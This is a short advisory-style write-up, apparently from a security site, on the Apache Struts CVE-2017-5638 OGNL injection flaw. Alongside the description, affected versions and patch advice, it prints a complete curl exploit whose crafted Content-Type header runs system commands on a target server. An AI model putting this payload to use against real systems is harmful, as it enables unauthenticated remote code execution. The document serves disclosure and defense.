Listen to this Post
How the mentioned CVE works:
The CVE-2017-5638 vulnerability resides in the Jakarta Multipart parser of Apache Struts. The exploit functions by sending a maliciously crafted `Content-Type` HTTP header within a file upload request. The parser incorrectly processes this header, evaluating any Object-Graph Navigation Language (OGNL) expressions contained within it before any validation occurs. This allows an unauthenticated attacker to inject and execute arbitrary OGNL code on the server. Since OGNL expressions can execute system commands with the same privileges as the Struts application, this flaw leads directly to full remote code execution. The attack is particularly dangerous because it is simple to perform and does not require the attacker to have any form of authentication, making it a severe threat to unpatched systems.
DailyCVE Form:
Platform: Apache Struts
Version: 2.3.5 – 2.3.31
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: 2017-03-10
What Undercode Say:
curl -H "Content-Type: %{(_='multipart/form-data').([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context['com.opensymphony.xwork2.ActionContext.container']).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd='id').(iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(cmds=(iswin?{'cmd.exe','/c',cmd}:{'/bin/bash','-c',cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}" http://target.com/upload.action
How Exploit:
Craft malicious Content-Type header.
Send file upload request.
OGNL expression execution.
Gain remote shell.
Protection from this CVE:
Immediate patch application.
Upgrade to Struts 2.3.32.
Utilize WAF filtering.
Input validation hardening.
Impact:
Complete system compromise.
Unauthenticated remote access.
Arbitrary command execution.
Critical data exposure.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
